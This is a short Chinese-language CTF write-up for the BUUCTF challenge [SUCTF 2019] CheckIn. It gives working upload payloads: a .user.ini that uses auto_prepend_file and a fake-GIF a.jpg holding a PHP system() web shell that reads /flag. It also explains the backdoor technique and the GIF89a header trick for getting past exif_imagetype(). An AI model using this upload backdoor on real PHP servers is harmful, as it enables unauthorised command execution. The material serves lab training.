Buuctf-web-[SUCTF 2019]CheckIn

Posted 夜布多

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Buuctf-web-[SUCTF 2019]CheckIn相关的知识,希望对你有一定的参考价值。

首先添加上传一个.user.ini

GIF89a
auto_prepend_file=a.jpg

 

再添加上传一个a.jpg

GIF89a
<script language=\'php\'>system(\'cat /flag\')</script>

  

在这里可以看到 uploads/33c6f8457bd77fce0b109b4554e1a95c对应的文件夹下面有两个文件,一个是.user.ini,还一个是a.jpg,当然,还有一个index.php

 

 http://185c74cc-a491-4874-b189-43077bd30ae7.node3.buuoj.cn/uploads/04b0951938d905b41348c1548f9c338b/index.php

直接得到flag

 

 

 

1.利用.user.ini上传\\隐藏后门

参考链接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们可以自定义除了PHP_INI_SYSTEM以外的模式,在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。

我们这边利用.user,ini先执行auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,也就是先加载了a.jpg里面的文件,即一句话木马。

 

2.绕过exif_imagetype()

这边利用GIF89a文件头绕过



以上是关于Buuctf-web-[SUCTF 2019]CheckIn的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF-WEB

题解记录-BUUCTF|Web (持续更新中)

Buuctf-web-[极客大挑战 2019]Upload

刷题记录:[SUCTF 2019]EasySQL (欠)

刷题记录:[SUCTF 2019]Pythonginx

WEB|[SUCTF 2019]Pythonginx